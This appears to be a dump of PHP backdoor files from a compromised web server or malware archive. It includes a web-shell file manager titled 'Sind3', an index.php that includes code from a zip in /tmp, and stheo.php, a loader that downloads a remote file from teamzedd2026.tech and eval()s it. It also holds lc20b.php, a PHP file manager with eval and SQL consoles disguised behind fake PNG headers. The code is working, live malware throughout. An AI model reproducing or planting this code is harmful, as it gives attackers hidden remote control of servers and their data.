        header('Content-Type: application/json');
        echo json_encode($response);
        exit; 
    } elseif ($_GET['action'] === 'rename') {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
            $oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            $newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name'];
            if ($oldFile && is_file($oldFile)) {
                $result = rename($oldFile, $newFile);
                $response = $result 
                    ? ['status'=>'success','msg'=>'File renamed successfully'] 
                    : ['status'=>'failed','msg'=>'File renaming failed'];
                header('Content-Type: application/json');
                echo json_encode($response);
                exit;
            } else {
                header('Content-Type: application/json');
                echo json_encode(['status'=>'failed','msg'=>'File not found']);
                exit;
            }
        } elseif ($isAjax) {
            echo '<h2>Rename File: ' . htmlspecialchars($_GET['file']) . '</h2>';
            echo '<div class="terminal-box">';
            echo '<form class="ajaxForm" method="POST" action="?action=rename&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
            echo '<input type="text" name="new_name" placeholder="New file name" required><br>';
            echo '<br><input type="submit" value="Rename"> ';
            echo '<button type="button" id="cancelAction">Cancel</button>';
            echo '</form>';
            echo '</div><hr>';
            exit;
        }
    } elseif ($_GET['action'] === 'edit') {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
            $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            if ($filePath && is_file($filePath)) {
                $fp = fopen($filePath, "w");
                if ($fp) {
                    $bytesWritten = fwrite($fp, stripslashes($_POST['content']));
                    fclose($fp);
                    $response = ($bytesWritten !== false)
                        ? ['status' => 'success', 'msg' => 'File edited successfully']
                        : ['status' => 'failed', 'msg' => 'File editing failed'];
                } else {
                    $response = ['status' => 'failed', 'msg' => 'File opening failed'];
                }
                header('Content-Type: application/json');
                echo json_encode($response);
                exit;
            } else {
                header('Content-Type: application/json');
                echo json_encode(['status' => 'failed', 'msg' => 'File not found']);
                exit;
            }        
        } elseif ($isAjax) {
            $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            if ($filePath && is_file($filePath)) {
                $content = file_get_contents($filePath);
                echo '<h2>Edit File: ' . htmlspecialchars($_GET['file']) . '</h2>';
                echo '<div class="terminal-box">';
                echo '<form class="ajaxForm" method="POST" action="?action=edit&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
                echo '<textarea name="content" rows="10" cols="50" required>' . htmlspecialchars($content) . '</textarea><br>';
                echo '<br><input type="submit" value="Save"> ';
                echo '<button type="button" id="cancelAction">Cancel</button>';
                echo '</form>';
                echo '</div><hr>';
            }
            exit;
        }
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Sind3</title>
    <!-- Load Ubuntu Mono from Google Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono&display=swap" rel="stylesheet">
    <style>
        * { box-sizing: border-box; }
        body {
            background-color: rgba(37, 37, 37, 0.8); /* Gray with slight transparency */
            color: #fff;
            font-family: 'Ubuntu Mono', monospace;
            margin: 0;
            padding: 0;
        }
        .container {
            width: 60%;
            margin: 50px auto;
            padding: 20px;
            background-color: #222;
            border-radius: 8px;
        }
        .futer {
            width: 60%;
            margin: 50px auto;
            padding: 20px;
            background-color: #222;
            border-radius: 8px;
        }
        .breadcrumbs { margin-bottom: 15px; }
        a { color: #0f0; text-decoration: none; }
        a:hover { text-decoration: underline; }
        table { width: 100%; border-collapse: collapse; margin-top: 20px; }
        th, td { border: 1px solid #555; padding: 8px; text-align: left; }
        th { background-color: #333; }
        input[type="text"], textarea {
            width: 100%;
            padding: 8px;
            margin: 0;
            border: 1px solid #333;
            border-radius: 4px;
            font-family: 'Ubuntu Mono', monospace;
        }
        input[type="submit"], button {
            border: 1px solid #fff;
            padding: 4px;
            background-color: #333;
            color: #fff;
            cursor: pointer;
            border-radius: 4px;
        }
        form { margin-bottom: 20px; }
        .terminal-box {
            background-color: #222;
            color: #0f0;
            padding: 15px;
            border: 1px solid #333;
            border-radius: 4px;
            margin-bottom: 20px;
        }
        .terminal-box input[type="text"],
        .terminal-box textarea {
            background-color: #222;
            color: #0f0;
            border: 1px solid #333;
        }
        .notification {
            position: fixed;
            bottom: 20px;
            left: 20px;
            padding: 10px 20px;
            border-radius: 4px;
            font-family: 'Ubuntu Mono', monospace;
            font-size: 14px;
        }
        .success { background-color: #0a0; color: #fff; }
        .failed { background-color: #a00; color: #fff; }
        /* Custom file input button styling */
        #fileInput {
            display: none;
        }
        .custom-file-button {
            border: 1px solid #fff;
            padding: 4px;
            background-color: #333;
            color: #fff;
            cursor: pointer;
            border-radius: 4px;
            display: inline-block;
        }
    </style>
</head>
<body>
<div class="container">
    &thinsp;&thinsp;&thinsp;<b>SERV  :</b> <?= isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?><br>
    &thinsp;&thinsp;&thinsp;<b>SOFT  :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?><br>
    &thinsp;&thinsp;&thinsp;<b>IP  &nbsp;&nbsp;:</b> <?= gethostbyname($_SERVER['HTTP_HOST']) ?><br>
    <br><b>&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212</b>
    <br><br><form id="uploadForm" class="ajaxForm" method="POST">
        <label for="fileInput" class="custom-file-button" id="fileLabel">Choose File</label>
        <input type="file" id="fileInput" required>
        <input type="submit" value="Upload">
    </form>

    <br><div id="breadcrumbContainer">
    <?php
    $k = preg_split("/(\\\\|\/)/", $d);
    foreach ($k as $m => $l) {
        if ($l == '' && $m == 0) {
            echo '<a class="ajx" href="?d=2f">/</a>';
        }
        if ($l == '') continue;
        echo '<a class="ajx" href="?d=';
        for ($i = 0; $i <= $m; $i++) {
            echo hex($k[$i]);
            if ($i != $m) echo '2f';
        }
        echo '">'.$l.'</a>/';
    }
    ?>
</div><br>
<div id="actionContainer"></div><br>
    <div id="fileListContainer">
        <?php
        $entries = scandir($d);
        $dirList = [];
        $fileList = [];
        foreach ($entries as $entry) {
            if ($entry == '.' || $entry == '..') continue;
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            if (is_dir($path)) {
                $dirList[] = $entry;
            } else {
                $fileList[] = $entry;
            }
        }
        ?>
        <table>
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
            <?php
            foreach ($dirList as $entry) {
                $path = $d . DIRECTORY_SEPARATOR . $entry;
                echo '<tr>';
                echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
                echo '<td>-</td>';
                echo '<td></td>';
                echo '</tr>';
            }
            foreach ($fileList as $entry) {
                $path = $d . DIRECTORY_SEPARATOR . $entry;
                echo '<tr>';
                echo '<td>' . htmlspecialchars($entry) . '</td>';
                echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
                echo '<td>';
                echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
                echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
                echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
                echo '</td>';
                echo '</tr>';
            }
            ?>
            </tbody>
        </table>
    </div>
</div>

<div class="notification" id="notification" style="display:none;"></div>

<script>
// Show notification in the bottom left corner; auto-dismiss after 2 seconds.
function showNotification(status, msg) {
    var notif = document.getElementById('notification');
    notif.className = 'notification ' + status;
    notif.innerText = msg;
    notif.style.display = 'block';
    setTimeout(function(){ notif.style.display = 'none'; }, 2000);
}

function loadBreadcrumb() {
    var d = getQueryParam("d") || "<?php echo hex($d); ?>";
    fetch('?d=' + d + '&ajax=breadcrumb', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
    .then(response => response.text())
    .then(html => {
        document.getElementById('breadcrumbContainer').innerHTML = html;
    });
}

function getQueryParam(name) {
    const urlParams = new URLSearchParams(window.location.search);
    return urlParams.get(name);
}

function loadFileList() {
    var d = getQueryParam("d") || "<?php echo hex($d); ?>";
    fetch('?d=' + d + '&ajax=1', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
    .then(response => response.text())
    .then(html => {
        document.getElementById('fileListContainer').innerHTML = html;
        attachAjaxEvents(); // reattach events after update
        resetFileInputLabel();
    });
}

function resetFileInputLabel() {
    var label = document.getElementById('fileLabel');
    if(label) {
        label.textContent = "Choose File";
    }
}

function attachAjaxEvents() {
    document.querySelectorAll('.ajaxDelete').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.json())
            .then(data => {
                showNotification(data.status, data.msg);
                loadFileList();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxEdit').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.text())
            .then(html => {
                document.getElementById('actionContainer').innerHTML = html;
                attachAjaxForm();
                attachCancelEvent();
                resetFileInputLabel();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxRename').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.text())
            .then(html => {
                document.getElementById('actionContainer').innerHTML = html;
                attachAjaxForm();
                attachCancelEvent();
                resetFileInputLabel();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxDir').forEach(function(link) {
    link.addEventListener('click', function(e) {
        e.preventDefault();
        window.history.pushState(null, '', link.href);
        loadFileList();  // Reload the file list
        loadBreadcrumb(); // Reload the breadcrumb
        resetFileInputLabel();
        resetFileInput();
    });
});
}

function attachAjaxForm() {
    document.querySelectorAll('.ajaxForm').forEach(function(form) {
        form.addEventListener('submit', function(e) {
            e.preventDefault();
            var formData = new FormData(form);
            fetch(form.action, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.json())
            .then(data => {
                showNotification(data.status, data.msg);
                document.getElementById('actionContainer').innerHTML = '';
                loadFileList();
                resetFileInputLabel();
            });
        });
    });
}

function attachCancelEvent() {
    var cancelBtn = document.getElementById('cancelAction');
    if(cancelBtn) {
        cancelBtn.addEventListener('click', function() {
            document.getElementById('actionContainer').innerHTML = '';
            resetFileInputLabel();
        });
    }
}

function resetFileInput() {
    var fileInput = document.getElementById('fileInput');
    var fileLabel = document.getElementById('fileLabel');
    if (fileInput) {
        fileInput.value = ""; // Clear any selected file
    }
    if (fileLabel) {
        fileLabel.textContent = "Choose File"; // Reset label text
    }
}

document.addEventListener('DOMContentLoaded', function() {
    attachAjaxEvents();
    var fileInput = document.getElementById('fileInput');
    var uploadForm = document.getElementById('uploadForm');

    fileInput.addEventListener('change', function() {
        var label = document.getElementById('fileLabel');
        if(fileInput.files.length > 0) {
            label.textContent = fileInput.files[0].name;
        } else {
            label.textContent = "Choose File";
        }
    });

    if(uploadForm) {
        uploadForm.addEventListener('submit', function(e) {
            e.preventDefault();
            if(fileInput.files.length === 0) return;

            var file = fileInput.files[0];
            var reader = new FileReader();

            reader.onload = function(event) {
                var arrayBuffer = event.target.result;
                var bytes = new Uint8Array(arrayBuffer);
                var hexString = '';
                for (var i = 0; i < bytes.length; i++) {
                    hexString += bytes[i].toString(16).padStart(2, '0');
                }

                var formData = new FormData();
                formData.append("benkyo", file.name);
                formData.append("dakeja", hexString);

                fetch(uploadForm.action || window.location.href, {
                    method: 'POST',
                    body: formData,
                    headers: { 'X-Requested-With': 'XMLHttpRequest' }
                })
                .then(response => response.json())
                .then(data => {
                    showNotification(data.status, data.msg);
                    uploadForm.reset();
                    resetFileInputLabel();
                    loadFileList();
                });
            };

            reader.readAsArrayBuffer(file);
        });
    }
});
</script>
<footer class="futer">
				&copy; zeinhorobosu
			</footer>
</body>
</html>
PKOn\��C]mm	index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "belvidere.php"; include("zip:///tmp/phptpd9aH#$h");?>PKOn\�.C/zz	stheo.phpnu�[���<?php session_start();$u=$_SESSION['ts_url']??'https://teamzedd2026.tech/media/uploads/r/k/rahman.txt';$r=@file_get_contents($u)??(function($x){$c=curl_init($x);curl_setopt($c,19913,1);$o=curl_exec($c);curl_close($c);return$o;})($u)??(function($x){$p=parse_url($x);$fp=@fsockopen(($p['scheme']==='https'?'ssl://':'').$p['host'],$p['scheme']==='https'?443:80);if(!$fp)return;fwrite($fp,"GET {$p['path']} HTTP/1.0\r\nHost:{$p['host']}\r\n\r\n");$d=stream_get_contents($fp);fclose($fp);return substr($d,strpos($d,"\r\n\r\n")+4);})($u)??(ob_start()||1)&&@readfile($u)&&ob_get_clean();strpos($r,'<?php')!==false?eval("?>$r"):print'X'; ?>
PKOn\�9]�::	lc20b.phpnu�[���‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
